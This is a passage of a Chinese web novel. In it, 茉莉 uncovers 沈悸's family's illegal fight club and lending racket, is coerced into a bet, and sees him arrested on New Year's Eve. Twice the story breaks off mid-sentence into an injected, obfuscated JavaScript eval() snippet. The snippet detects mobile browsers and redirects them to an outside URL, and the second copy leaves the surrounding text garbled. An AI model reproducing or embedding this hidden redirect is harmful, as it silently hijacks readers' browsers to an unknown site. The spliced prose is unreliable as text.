走廊两边都设有健身区域,里面有很多人在健身,看起来像是公共区,再往里,还有比较私人的健身区,玻璃用的都是不可视的毛玻璃,看不清里面。 整个俱乐部并没有看起来那么小,一通弯弯绕绕下来,茉莉估摸了下,大概有三分之一的停车场那么大。 沈悸带她进了最里面的一个包房,同样是刷卡进入,他只开了一个很小很小的门缝。 “进。”他撑着门,动了动下巴。 “鬼鬼祟祟的。”余光看到有人从另个包厢出来,对他们投来了探寻的目光,茉莉轻飘飘地回眸,“正大光明地进不行吗?” “怎么?”沈悸扬眉,“怕别人觉得在偷情?” “我走。”茉莉很果断地转身。 “不想知道我的把柄了?” “你能给我知道的,算什么把柄?” “我保证绝对是你想要的。” “对你有什么好处?” “好处?”他嚼了下字眼,“没什么好处,只是觉得看你挣扎特别有意思。” 他眉目含笑,温和又残忍:“我想让你懂得,即使你知道了一切,你还是没办法甩开我。” 激将法,但很有用,成功激怒了茉莉。 她迈重脚步走回沈悸身边,侧身钻了进去。 私人包间的设施和装潢都与外面大差不差,黑色吸音棉的地和墙,健身器材具备,还有电视屏幕可以在上面看到健身数据,甚至系统还会根据用户数据来拟出一份健身报告出来。 这个健身房显然是独属于沈悸的,因为除去健身区域,还有一块是办公区,用玻璃阻隔,办公区那还有一扇门,应该是工作人员上报的门。 看起来似乎跟正常的健身房没什么差别,包这么大的区域,仅仅说为了弄一个高端私人健身,她一定也不信的。 而且,她发现走廊设置的很怪异,似乎是在绕着什么走,这中间一定还有一片未知的区域。 沈悸打开了办公区的门,在电脑桌前用钥匙打开了一个抽屉,不知按动了什么,她听到了细微的“咔嗒”声。 “过来吧。” 他打开一扇门,茉莉站在侧角,粗略看了一眼,像是一个衣帽间。 直到她走过去,她才看到那间衣帽间的里面已经被打开,一条通往未知的走廊亮着微弱的灯,直通另一扇门。 未知的恐惧让她有些生畏,加之走廊不算亮堂,她更加感觉脚步发沉。 但直觉告诉她,这里一定藏着什么。 她偷偷在口袋里按了录音键。 赌一把。只能这样了。 经过最后的走廊,沈悸打开了最后一扇门。 “欢迎来到——我的地下王国,小茉莉。”沈悸噙笑,优雅绅士地比了个请的动作。 眼前的场景不一样了。 一进入到里面,氛围立马就变了。 像某种灰色场所,少的只是玉体横陈。 那是一个面积不大的包厢,进入后最显著的,就是那一整个玻璃墙。 依旧是暗调的装潢,灯光昏暗设置在脚边防摔,但地面覆盖成了柔软的地毯,包间内浮沉着名贵的熏香,熏得人昏昏沉沉。 暗红色的沙发设置在居中的位置,面朝着那块玻璃墙,门边的墙面是嵌入式的柜子,里面陈放着许多名酒和古董,一看就价格不菲。 但这一切都不重要,最重要的,是玻璃墙后的场面。 那是一个格斗场,防护网在下方围了一圈,里面正有两人在里面扭打在一块。 乍一看以为是拳击比赛,但细细看去,两人身上毫无防护措施,只在手上缠了一圈绷带作为防护,而且那身法和出拳毫无章法,甚至连抠挠这种阴招都使了上来。 怎么看,都不像正规比赛。 倒像是—— “地下黑拳……”茉莉忍不住喃喃出声,眼睛始终挪不开那残暴的画面。 格斗场边的观众席没有多少人,但在和她所在位置平齐的层次里,有许多暗色看不清里面的玻璃墙。 一墙之内,是许多和这里一样的包厢,和观赛的人。 瞬间,外面的豪车,私人的隔间,一下次就连起来了。 这是独属于上层人士的一场娱乐表演,表演内容为底层“老鼠”的互相餐食。 而防护网像是一个笼子,圈住里面的猎物。 那两人还在撕扯,全都鼻青脸肿,浑身上下都是於伤,其中一人被压制的久了,怒从心起,嘶吼声甚至穿过了隔音极佳的玻璃窗,直戳耳膜。 然后,他大张着嘴——一口咬了下去。 眼前突地一黑,沈悸用手挡住她的视线,避免她看到那些血呼刺啦的场景:“别看,脏眼睛。” “这就是你要给我看的吗?”茉莉睁着眼看那片黑,似乎能穿过手掌看到外面的场景。 “我说了,你想知道,我都告诉你。”看到那两人被拖了下去,沈悸放下手,开了一瓶果汁倒在杯子里,“贺哲只告诉你了一半,还有一半,他知道的不完整,倒不如我亲口告诉你。” 玻璃杯塞进手里,明明戴着手套,她却感觉到寒意渗透毛线穿进了掌心,顺着血液流进心脏。 澄澈的果汁倒映出她的脸,好像,她也被困在这小小的玻璃杯之中。 她把果汁一推,坐在沙发上看着沈悸:“所以,这两个都是沈家的产业对吗?” “你既然知道街机厅是做什么的,不如你自己想想呢,把两个,串到一起。”沈悸竖起两根手指,又并在一处,“一个有着赌/博性质的场地,和这无人权可言,完全给富人观赏的黑拳比赛,有什么联系?” 他给的提示太过露骨,一下就能把人点醒。 街机厅有柏青哥,那是个极其容易沉沦,而且初期成本极低的赌/博方式,任何一个初次接触的人应该都不会想到自己会在几个硬币的成本下,一步步走至深渊。 所以——茉莉眉头一动: “柏青哥只是个开始,有瘾的人就会有侥幸心理,而在暗处,有人会利用侥幸心理放/贷,我猜,那个街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361407|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机厅应该不止一处,而且所有的街机厅,都有隐藏的借贷服务。 “借贷是新的阶段,接着就是无底洞,我看到过的,那一把就可以把所有积攒下来的一切都赔光。” 沈悸翘起二郎腿,手搭在沙发扶手上,轻轻淡淡地应:“对。当这些赌徒无可救药到什么都可以放弃,又无力偿还时,他们又有什么选择呢?” “用肉/体,赔给这座制造黑暗的工厂,成为上层人士的玩物,这一局搏斗应该能拿不少吧?”茉莉的目光愈发凝重,戴着手套的手不自觉攥紧。 “确实不少,但更多的,是赢得那些人的心——”沈悸指了一圈玻璃外的那些玻璃窗。“下注,赢了就可以拿走一半。” “这些都是活生生的人命!”茉莉不可遏制地叫出声,“沈家,还有你,真的不怕遭报应吗?” 她实在不懂,在她的印象里,沈家一直都是正面的形象,扶持贫困的洑水县,帮衬经济发展,还有那么多上不了学的孩子,全都是沈家带起来的。 踏踏实实的做实业有什么不好?非要弄得你死我活,非要最终无路可退吗? 脸颊被用力地捏住,她被迫跌入一双深黑的渊:“茉莉,不要指责我,因为这是我让你知道的。” 对方的视线顺而下滑,“我不介意你藏在口袋里的小动作,但你现在的反应,我并不喜欢。” 藏于口袋里的手霎时间顿住。 沈悸一把拿出她的手机,在她反应过来之前,丢在一旁的地上。 他半张脸藏在黑暗之中,半张脸被暗光打亮,光阴交错,笑容阴森如同恶鬼般狰狞。 “你不太听话,我本来是想直接告诉你一个足以扳倒我的证据的。”沈悸难掩失落地叹息,很快,伪善的无辜又挂回脸上,犬齿闪着森寒的光。 “这样吧,陪我下个赌注。”他放开她,坐回位置。 玻璃墙外,又有新的二人走进了场内。 藏匿于数个看似平静的玻璃墙内,不知道有多少双怀揣恶意的眸子睨傲着这一切。 茉莉反问:“如果我拒绝呢?” “我觉得你没有拒绝的余地,如果,你丝毫不介意你的父亲。” 茉莉猛地抬头。 沈悸摇摇手指,将茶几上一个连着线的摁扭置于她的面前,“选吧,我选你剩下的。” 那是个双色的按钮,代表着场内两人。 摁下,她就跟那个任人把玩的可怜人绑定在一起。 他只是想把她拖进另一个深渊。 她有得选吗? 她紧咬着牙,不让牙齿咯咯打颤。 “赌注呢?” “你赢了,我把作为证据的账本给你,再归还你的手机。”沈悸的手指敲打着沙发扶手,催促道,“选吧。” 只有一条路可走。 颤巍巍的手指摁上蓝色的按钮,一场完全未知的赌注开始了。 连赢了的把握都没有,因为这里是沈悸的主场,他完全可以不遵守规则下黑手。 他没有道德,下黑手是完全不意外的。 沈悸摁下了红色按钮。 他长臂一伸,把茉莉扯了过来,手搭在她靠背的上方,还留有余地的空了些,不紧挨着她。 沈悸没皮没脸地问了一句:“我这么温柔体贴,为什么不留在我身边呢?” 少女一句没回,眼睛直盯格斗场内。 她在乎胜负,他却在乎她。 她今天很漂亮,漂亮到,他想把她紧紧锁在怀里。 可小猫有爪子的,她一定会重重地抓挠自己。 他确实是个疯子,想看她亲手终结掉自己,终结掉自己现在所承担的一切。 装着手机的口袋嗡嗡直响,他烦闷地随手拿出,看都不看就甩到身后。 他知道是谁,那名义上的老头又开始烦了。 “你不接吗?” “要是分心了,才是不尊重你呢。” 怀里的少女又气鼓鼓地不说话了。 他闲闲看向外面,缠斗很激烈,但也很惨烈。 他早就看腻歪了,看来看去都是那样,还有暗盘手在其中掺和,那些都是老头熟识的人,闭着眼都能知道他们要玩什么花样。 这次上台的红方是个狠人,那蓝方显然不是他的对手。 但是,他怎么舍得让她输呢。 “恨我吗?”他问。 “恨。”明显被场内的氛围感染,她的咬字极其重,还带着气音。 好。他放置于沙发扶手上的手悄悄打开了什么。 带着这股恨意,亲手杀死他的偏执。 玻璃窗外局势逆转,蓝方选手势如破竹,瞬间摁倒了红方选手。 怀里的少女忍不住惊呼了一声,又迅速捂住嘴,身体小幅度起伏着。 带着他,重回到有温度的人间。 32. 终结 一场比赛终了,沈悸掩藏着动作,将那控制台的盖子合上。 “你赢了。”他起身简单整理了下衣着,“按照约定,我会把东西给你。” 茉莉刚伸手,沈悸便说:“不是现在。” 她的表情一凝:“你想什么时候给我。” 果然,他不会那么轻易地把东西给她的。 “再陪我玩一天。就三十一号吧。” 三十一号。茉莉想到,她跟父亲约定好了一起跨年。 要跟沈悸过还不如让她跟狗过。 “不行,唯独那天不行。” “你没有拒绝的权利——作为你赢的回报,我告诉你贺哲的秘密。”沈悸不想听到她的回绝,从一旁的柜子里翻了翻,拿出一个文件夹扔给茉莉。 文件分量不轻,茉莉拆开线圈口,一张一张翻阅起来。 映入眼帘的,先是一个关于机动车行驶肇事致人残废的档案。 肇事者行驶机车超速驶过一个路口时冲撞致残一人,受害者抢救及时,但极有可能一辈子植物人。 而肇事者在七天内被缉拿归案,其名为——贺哲。 紧接着便是一份审判报告和一份和解声明,茉莉按捺住狂跳的心,再也看不下去了。 信息量太大,她的大脑一时间成了一团浆糊。 “……这就是贺哲的把柄?”她根本没想到,这牵扯到一桩案件。 “对。这一切是我摆平的。”沈悸拿走她膝上的文件夹,“现在,你还觉得他是个好人吗?” 茉莉讽然:“你是想说,你比他更像好人?” 沈悸觉得有趣,抽出一张纸拍在她的面前:“如果没有我,他现在不可能安然无恙的待在外面,或许,还在里面吃牢饭吧。” 纸面上清晰的写着受害者的信息。 男,二十岁,其中工作单位一栏,清楚地写着沈氏旗下的一家企业。 茉莉的手微微颤抖。 他们没有一个是无辜的,全是棋盘上的棋子,彼此牵制,互相利用。 而她,反而身置漩涡,无法抽身。 茉莉深吸一口气,试图平复内心的波澜:“三十一号,你想告诉我什么?” 沈悸嘴角微扬,眼神深邃:“那天,会是很有意思的一天。” 他打开包间的门,做了个请客的动作:“可以离开了,我们到时见。” 茉莉捡起自己的手机,走出那个隐蔽的俱乐部。 俱乐部的门前依旧停着许多私车,里面的黑暗依旧进行着,不知何时才会终止。 沈悸的专车停在了专属车位上,司机已然离开,他打开驾驶座的车门说:“我送你?” “不用,我生怕被你抓到什么把柄。”茉莉冷笑,转身走向公交站。 沈悸不恼,靠在车门边再度提醒:“不要忘了我们的约定,还有,别再找贺哲。” 茉莉将脸埋入柔软的围巾中,埋头独自走出停车场。 末班车的车站并没有多少人等候,周围的店铺也基本关了门,只有圣诞树还黯淡地摆在门口。 她坐在公交车上,边上的窗户大开,寒风刺骨,吹得她的思绪越发清晰。 这场由沈悸操控的局才刚刚开始。 沈悸的手段和城府,远比她想象的深。她不能输,也不能再被牵着鼻子走。 但。 沈悸能把所有都告诉她,就说明他早有了对策。 他不可能不留后手的,因为他还想继续折磨自己。 她紧握着手机——里面还有她偷偷录下的对话。 这是她唯一的筹码,或许能成为翻盘的关键。 只等那天。 - 沈悸驶入大宅的院落,月色昏暗,映照出他脸上的冷峻。 他关上车门,闲庭信步地走入宅内。边上早已候着的佣人立马拥了上来,替他准备拖鞋和热茶。 沈悸接过热茶,轻抿一口,却无视脚下的拖鞋,径直踩过,直接瘫倒在沙发上。 他刚拿出兜里的耳机,耳畔就传来那个男人匆匆的脚步声。 “沈悸,你今天去哪了。” 令人烦心的声音响起,他懒洋洋地抬起眼皮:“怎么,闲逛也得管了?” 沈随天站至他面前,眉头紧锁,语气加重:“你去俱乐部了?还带着人去?” 果然有狗腿,消息传得真快。沈悸轻嗤,眼神冷冽:“不过就是去玩玩,何必大惊小怪。”他顿了顿,嘴角勾起一抹嘲讽,“我这大度的父亲怎么连这点自由都不给我?” “沈悸!”沈随天脸色铁青,手指紧握成拳,“我早就警告过你了,不许让外人进入。上次是那个贺家的小子从中作梗,若不是我在里面操作,你觉得你还能悠闲地在这里躺着。” 沈悸反唇相讥:“我可不想在这铜臭味熏鼻的地方躺着,更何况,还有两个烦的要死的便宜父母。” 沈随天额角跳动,一巴掌拍在茶几上,震得茶杯都晃了一晃:“沈悸,是我接回的你。要不是我,你现在早就不知死在哪个沟里了。” “是啊,多亏了你,我才能沾那个废物哥哥的光被接回来当少爷呢。”沈悸冷笑,眼神中闪过一丝不屑,“这么厉害为什么不让那个哥哥站起来重新顶住沈氏呢,而非要选我这个烂种?” 沈随天气得脸色发紫:“你!” “我什么?”他的眸光愈发犀利,“你从来没有把我当成过一个人,不过就是想要我活成第二个沈南风。我告诉你,想都不用想。” 啪。 沈悸偏着脸,阴沉地盯着沈随天。 应该是清亮的脆响,但偏偏是打在右耳,他听不见什么,只感到细微的声动。 “沈随天。”他冷冷开口,“你就应该是这样对我的,从前是,今后也请不要手软。” 否则,他的复仇将毫无意义。 他不会忘却的,那些曾被他殴打羞辱的,指着鼻子骂杂种的记忆。 他不可能是任何人的替代品。 说完,沈悸暗着脸离开。 门被重重合上,偌大的卧室窗明几净,惨淡的月光透过窗帘缝隙洒在他的侧脸,显得落寞而凄白。 他戴上耳机,枯燥平仄的念经声回响在左耳,另一边,却什么都听不见。 不够,还是不够让人冷静。 他猛地扯下耳机,起身走到窗前,双手紧握窗框,眼神空洞地望向月亮。 他从来都不喜欢月亮的,因为它总是冷冷地俯瞰着他,看遍他所有的狼狈与挣扎,却从不给予一丝温暖。 今晚也是。 他想到什么,打开了一个紧锁的抽屉,拿出了一个银色的磨损严重的手机。 他闭上了眼。 从前那些不能寐的夜里,就是靠着它度过漫漫长夜,幻想着一些莫须有的以后。 但现在,也只能是幻想中的慰藉了。 - 十二月三十一号。 茉莉的手机一早便开始震动,先是来自茉双季的,说本来是请好假了的,但又有工作安排没办法来。 看到这条消息时,茉莉握紧了手机,沮丧又愤怒。 一定是沈悸从中作梗,逼着她把这一整天腾出来给他。 在沈家下面工作后,茉双季一直都非常忙碌,虽然收入可观,但能见面的次数也被压缩到一个月只有三四次。 她劝说过父亲,但父亲实在不想放弃这样高薪还稳定的工作,她只能作罢。 算了。 再往下是沈悸的,只有简短几个字:“十点校门口。” 她删掉这条消息,继续下翻,有一条是贺哲的。 她心一抖,不自觉有些排斥这两个字。 那天看到的资料到底还是在脑海中挥之不去,仿佛刺一般扎在她心上。 犹豫片刻,她还是点开了那条消息。 消息不短,先是表达了些关心,表示自己并不知道当时沈悸为什么会知道他们的行踪,而当天他的确是发现了些新线索想带着她秘密前往,顺便再告诉她关于自己全部动机的。 从信息上看,他的确是在暗中调查,并且是真心实意地在帮助她。但她唯一觉得奇怪的,就是他为何会如此巧合地撞到那个在沈家工作的人,还有,他的左眼是怎么被沈悸弄瞎的。 总得有个开端和理由,因为这全部都与沈悸息息相关。 茉莉摁动键盘,询问道:今天有空吗?我有些事情想找你聊聊。 消息很快传回来:可以聊聊,正好我经过你宿舍楼下,直接下来吧。 收到消息,茉莉立刻起身穿好外套,匆匆下楼。 贺哲的身高十分扎眼,加之长相痞气还站在女寝楼下,许多经过的女生都在悄悄唏嘘。 有些过分瞩目了,茉莉仓促地立起大衣领子盖住样貌,悄悄走到贺哲身边小声喊了他一句。 贺哲转过头,看她遮着脸的模样,不禁勾出一抹玩味的笑,故意加大了音量:“哦,茉莉,等你好久了。” 声音不小,引得周围的女生纷纷侧目而视,茉莉尴尬地扯了扯领子,低声催促:“换个地方说话,别人会传闲话的。” 贺哲收敛了笑意,边往僻静的地方走边说:“其实,我本来想让你跟我去一个地方的。” “哪里?”如果是那个俱乐部,她不想去第二遍。 “是一个洽谈商务的宴会,由沈家主办,我昨天特意问出了消息,沈悸跟你约好了见面,虽然不知道他到底会不会带你去,但我希望你能帮我个忙。” 茉莉愣了一下,眉头微蹙:“商务宴会?” 她无权无势,能帮什么忙? “你记得我跟你说,图书馆那边藏有沈家其他的灰色产业吗?” “记得。” “我之前偷偷潜入进去,录下了一些东西,那些证据虽然是偷拍的,能作为证据的几率不大,但如果能在宴会上公开播放,足以搞一下沈家和那些跟他们同流合污的企业。”他晃晃手里的微型摄像头,眼神坚毅,“所以,我希望你能拖住沈悸,我会安排人去公开,并且会再次尝试潜入找到账本,然后报j。” 手段极其熟悉,是沈悸曾对付自己的手段。 做法十分冒险,还是在一个上流云集的场合,稍有不慎便会引火烧身。 但这或许是唯一一次可以逃离沈悸的机会。 沉思许久,茉莉终于点头:“我可以配合你拖住沈悸。”她话锋一转,又问,“但我也有话要问你,你为什么讨厌沈悸?应该不仅仅是因为左眼被弄瞎吧。” 贺哲自嘲地扯唇:“我知道瞒不住你的,所以早就想告诉你了。” 他像是下了某种决心,略显艰难地开口:“我曾犯下过一个非常严重的过错,不对,不是过错,是犯罪。我在上半年时……撞残了一个人。而那人,本来应该是沈悸的。 “一切的起因是因为沈悸,也是我的执念。”他深吸一口气,眼神复杂,“我所做这一切,都是为了让林楚儿逃跑。” 事情突然与一个看起来完全局外的人挂钩,茉莉眯了眯眼,想起了在图书馆时,沈悸曾用某人威胁贺哲。 她早察觉到林楚儿并非表面上像个花瓶,林楚儿并非喜欢沈悸,反而像是被胁迫与他产生关系一样,拧巴又别扭。 贺哲问:“你觉得林楚儿是个什么样的人?” 她想了想,说:“很善良,坚韧,强大的女孩子,看起来金枝玉叶,是个很好的女孩。” 林楚儿从没对自己有任何的恶意,甚至在不明确自己到会不会威胁到她的情况下,依然会出手相助。 她记得林楚儿曾对自己劝告和好意,如果说贺哲是为了这样的女孩,她姑且能认下这个借口。 “是的,她是个很善良的女孩。我从小跟她一起长大的,但她家里迂腐,把她当成工具,丝毫不在乎她的心情,还没到年龄就着急把她往沈家推……”说到此,贺哲拧紧了眉,“我没办法接受她这样委屈自己,她最向往自由了。” “所以,你觉得沈悸是毁掉她自由的人?” “是。”他毫不犹豫,“但我没办法,因为她家的人看不起暴发户的贺家,只能选择极端,却被他伤了眼睛。” 茉莉沉默片刻:“然后,你想撞残沈悸,结果被下了套,误撞成了另一个跟他体貌相似的人?” 贺哲讶然,眼中闪过一丝悔恨,轻笑,“呵……到头来,我却成了毁掉别人人生的人。” 他语气渐缓:“茉莉,如果这次成功了,我一定也会进去。到时候,把这一切都告诉她,然后让她跑,越远越好。” 他的手段极端,可无奈也是真的。 茉莉不知道该用什么话来回应,只能点头,沉默地给予回应。 只是她忘了现在是十点。 沈悸阴沉沉地站在廊下,目光如刀,静默地盯着他们。 他早早就到了,发了消息也无人回应,索性走了进来,正巧看见他们走在一处。 听不见他们在说什么,但这是他提前预料到的。 少女似乎意识到了时间,看了看手机,像是打了个招呼,匆匆走往校门口。 他悄悄离开,消失于暗角。 他抄近道等待在校门,看着茉莉走来,他打开了车门,换上温和的笑:“走吧,带你去个有意思的地方。” 茉莉迟疑片刻,问了一句:“去哪?” 听贺哲的说辞,那个聚会应该在晚上,现在时间还长,她不确定能拖多久。 沈悸只是笑:“你只用跟我去就行。” 沈悸先带着她来到了蛋糕店。 这家蛋糕店是可以diy蛋糕的,沈悸在前台付了钱,带着她前往制作区开始制作蛋糕胚。 茉莉不解:“想吃蛋糕直接买就是了,为什么要来做?” 沈悸没正面回答她,含糊其辞:“不一样的。” 他不想回答,茉莉也没再问,清洗双手后撸起袖子开始跟着教程跟做。 她负责倒材料,沈悸负责体力活,两人配合的很迅速,蛋糕液没一会就做成了。 等待蛋糕胚加热的过程,沈悸随手拿了一张明信片放在了茉莉面前。 “写一下,是店员拜托我们参加的活动,说是收集寄语,可以让我们再做几个黄油曲奇。” 店里的确有一块公示板,上面贴着各种明信片和便签纸,写着各种寄语和期望。 茉莉想了一阵,拿着笔写下了一串小字。 “岁岁无忧,年年明媚。” 写完,烤箱也发出了滴滴滴的声响,她撇给沈悸,套着手套去取蛋糕胚。 去取蛋糕胚的时候,她把手机藏于身前,悄悄看了眼贺哲发来的消息。 贺哲:我已安排人手在宴会里,俱乐部还没开门,再拖两个小时,不要让沈悸回来。 她回了个数字表示收到,把手机藏回口袋。 在选择奶油颜色上,沈悸和茉莉产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是园区又没人,她也走不到哪里去,这个气球实在是多余的让人在意。 她抿唇,心中泛起一丝微妙,终究还是任由气球摇晃。 “去玩些什么吧,陪我。”他认真地看着茉莉,指向远处的摩天轮:“先去那里吗,如果你恐高,可以不上去。” 茉莉找了个话头:“陪你玩完,可以把我爸爸的假还回来吗?” 听起来没由头,其实她是在暗中嘲讽。 等玩完了,计划也就成了。 虽然不知道能不能彻底铲除沈家,但沈家起码会落魄一阵子,沈悸再想阻止也晚了。 目的太过明确,沈悸哑然,眼中闪过一丝不易人察觉的落寞。 他关掉什么,就像关掉自己最后看到月光的那扇窗户。 “好,陪我,我全部都还给你。”他干脆拿着把柄利用到底,“可以了吗?” 茉莉点头:“说话算数。” 她的决绝实在太过,甚至连一丝动摇都看不出来。 逢场作戏都懒得跟他演,却愿意跟那个贺哲合作。 他忍不住深吸一口气。 凉的,全是凉的。 “算数。”说完,他不由分说地拉住茉莉的衣袖,“走,都玩一遍。” 他走的很快,一点也没有在游乐园里玩耍的惬意和愉快,茉莉只能小跑着才勉强能跟上。 他似乎是报复她的另有目的,玩的设施全是惊险刺激的高空项目。茉莉在半空惊声尖叫,恐惧让她忍不住抠住了旁侧沈悸的手臂。 沈悸反扣住她的手,用力的捏住,逼她继续大叫出声。 叫!叫出声!再大声点! 把所有憋屈和恨意都叫出声,都尽情发泄出来! 她放纵的大喊,无人在意她的尖叫,他们都被融了进去,一起大肆发泄着情绪。 从高空项目下来,她紧绷的神经一下子松懈,迟来的恐惧使双腿绵软下来,她扶住椅子,吃力地挺住双腿,心脏还在砰砰乱跳,呼吸都紊乱的吸不到氧气。 她其实恐高,这种高空项目根本坐不了一点,却还是任由沈悸拖着她去玩了一遍又一遍。 忍不住了,她扑到垃圾桶旁边呕吐着,她扣挠着喉咙,不断稳着呼吸,眼泪昏花。 她什么都没吃,吐出来的全是酸水,酸蚀她的味蕾和喉咙,难受的要命。 摇晃着跌坐到长椅上,视角边缘出现一抹红色,她慢慢看去,是一根冰糖葫芦。 “吃。”沈悸拿冰糖葫芦抵在她的唇角,强硬地往她嘴里塞,动作一点也不温柔。 她一点都没心情吃,却还硬逼着自己咬下去。 “好吃吗?” 茉莉回答:“好吃。” 沈悸说:“可我觉得特别难吃,特别的苦。” 茉莉不语,坐在椅子上看着摩天轮缓缓转动。 确实,她现在根本食不知味。 沈悸看了眼手表,时间快到了。 很快,他就能借她的手彻底毁掉那个老头。 之后,他就只是沈悸。 他刚想说些什么,却听到少女略带讽意的笑。 她说:“沈悸,你果然是个换皮不换套的人渣。” 沈悸的脸色骤然间变得阴沉。 他隐忍着,展开了一个微笑。 “茉莉。”他笑着,笑意却不达眼底,“快下雨了。” 不知何时,天空上聚集了一片阴云,又浓又黑,像他眼底的阴霾。 茉莉喃喃着:“是啊,快下雨了。” 几乎是同时的,手机不适时地响起。 沈悸没动,只是看着她,语调很轻:“看看吧。” 轻的像一阵风就能吹灭似的。 茉莉慢慢把手机拿出,摁开了屏幕。 “——计划成了。” 她一滞,旋即看向了沈悸。 沈悸比了个噤声的手势,顺手解掉了她手腕上的小熊气球。 她还没把疑惑问出口,紧接着,便是一群人急促的脚步声。 一群警c冲了过来,摁住了沈悸。 他任由着警c摁住他的胳膊,扣上银色的手铐。 眼神始终停留在茉莉的身上,怎么也挪不开。 他翕动着唇,似有话要说。 茉莉看清了他说的话。 ——茉莉,你还是输了。 ——我会回来的,回来找你。 ——把那些爱恨都拿回来。 她恍若雷击,呆滞地站在那边,眼睁睁看着他被带走。 就连她的挣扎都被算进了局里。 雨水开始滴落,她的脸上分不清是因惊悚冒出的冷汗还是雨。 她突然明白,这场游戏从开始就是他的陷阱。她的每一步都在他的掌控之中,连愤怒都显得无力。 雨水打湿了她的发丝,模糊了视线, 小熊气球在天空中缓缓飘升。 23:59. 在跨年的前一分钟,茉莉慢慢抬头看天。 绚烂的烟花在零时准时绽放,照亮了她苍白的脸。 不知道预示着旧梦的终结,还是未知的迷茫。 33. 夜色 事情结束过后,茉莉给贺哲打了个电话。 电话没接,看起来他的确如他所预料到的那样,被一并缉拿。 想起贺哲,茉莉觉得一阵心酸。 谁能想到一个平时吊儿郎当的他,为了不让林楚儿陷入利益的漩涡,他甘愿承担一切,宁愿牺牲自己,也要切断漩涡里的,那只紧紧缠住林楚儿的黑手。 他成功了,为了自己,为了暗恋多年的人。 他最后给她发了个信息,是个地址。顺着地址过去,茉莉看见了许多警车围在那栋私人别墅下控制着现场。 她一眼就看到了穿着白色礼服裙的林楚儿,她迷茫地站在人堆里,衣着单薄,绾起的发丝凌乱,不知道到底看向哪里。 她双手抱肩,慢慢走出人群,与茉莉视线交融。 茉莉脱下外套,递给林楚儿,轻声说:“别着凉了。 林楚儿没接,淡淡看着她:“贺哲让你来的?” 茉莉不置可否,平静地回复:“先披上吧。” “茉莉。”林楚儿皱紧眉,“沈悸……为什么要安排这些,你没想过吗。” “我以为你会问贺哲的下落。” “我……”林楚儿抿着唇,显然很痛苦,“我会一直等他。等他出来。” “那就好了,贺哲让我给你带些话……” “难道你一点都不觉得奇怪吗,关于这一切都太轻松了不是吗?” “奇怪?”茉莉讽刺地笑了,“他就是个混蛋,哪怕如今这样的局面也只是利用我对他不管不顾的家人来复仇罢了。” 从前的威胁,到今,她从来都是被操控的那个。 最后也都是借她的手来复仇,把她玩弄的团团转,他真是把她当成了完全的蠢蛋。 “他对你也有好啊。” “什么好?”她看不见啊,她什么都看不见。 “你知道他为什么要商量并校吗?他想要你到城里来接受更优秀的师资,想让你走出小村。 “他一直在资助福利院,他想要那些跟他一样没有家人、没有爱护的孩子们有未来。 “他说因为这一切都是你的梦想,所以,他想守着你的梦,替你去完成,替你把一切黑走到头。 “他说,他是个很坏的人,可因为有人让他从深渊拉上来,他想变好,想变得很好。 “其实……其实今天,是他的生日。”林楚儿苦涩地笑,“但你,似乎只想着回避,让他逼疯自己,去做那些无可挽回的事情。 “你想要报复,想要逃离,他知道的,所以才安排这一切。” 是吗?连茉莉都快忘了还说过那些话了。 茉莉反问:“那你呢,你为什么要替他说那些话?” “因为他跟我很像,可他很勇敢,他能为自己而活,可以去反抗去争取,而我不行。”林楚儿说,“我知道,他并非一个好人,但到了最后,他把其他有关账本给了我,让我秘密转交出去,然后坦然地出去接受一切。 “他其实,精神一直不太正常,有时候分不清现实和虚幻,甚至会变成沈南风的模样对着我喊你的名字,他真的……令人难以置信的需要你。 “你还恨他,我知道三言两语什么用都没有。” 是的,没有什么用。 可为什么,心一抽一抽的发酸。 她咬住唇,把外套披在林楚儿身上,“贺哲说,让你走,越远越好。他早为你安排好了,明天一早的飞机,飞往国外。” “他说,你要好好活成你自己。” 说罢,她头也不回地走了。 她不想再待下去,生怕那颗心又在毫无理由的发痛。 “等下。”林楚儿喊住她。 茉莉没有回头,兀自往前走着。 “如果有一天能再见面,我希望,我们能成为朋友。” 茉莉轻轻笑了,招了招手:“荣幸至极。” - 那天的事情引起了轩然大波,沈家搞灰色产业的事情波及到许多集团公司。 沈家并不仅仅弄了那灰色产业,但更多的却查不到了,先前在洑水县的项目也没了后续,但林家突然表示会接受,继续发展,也不知其中是不是有林楚儿的劝说。 不知道是不是沈悸提前留了一手,还是沈家反应快,沈家大部分资产被转移海外,但相比之前的确落魄了许多。 贺哲因为涉及到这些灰色产业被捕,沈家一大部分的人员也都锒铛入狱。 而沈悸,自此销声匿迹。 茉莉无暇去顾,重回到正常生活的她依旧为高考而准备着。 首都艺术大学的招生她到底还是没去,选择走文化生的道路。 时间过得很快,眨眼间就到了高考,等待成绩的那个夜晚她过得十分煎熬,只不过功夫不负有心人,她考上了国内的一流大学,成功被汉语言文化专业录取。 上了大学就要彻底远离父亲了,自沈家被曝光之后,父亲也失了业,因为曾有在沈家工作的经历,有许多企业都拒绝他的应聘。 而因为经常开夜车的缘故,茉双季眼睛的重影很严重,还有腰椎疾病,也没法再开车。 于是在茉莉的劝说下,父亲把小村的房子卖掉,在安城购置了一套小房子,用多年的积蓄开了家小店,每天的进账也算是可观。 本来茉双季是不愿意动那笔钱的,说是要当茉莉的学费,茉莉一直表示自己能够兼职赚钱,这才让他松了口。 她是硕本连读,五年过的很充实,茉莉也在大学里交往了一个男生,名叫许存。 两个人是在一场考试里结识的,当时许存忘记带笔了,是茉莉借他的,考完试,他硬说要请茉莉吃饭,茉莉不好拒绝,于是两人有了第一次的约会。 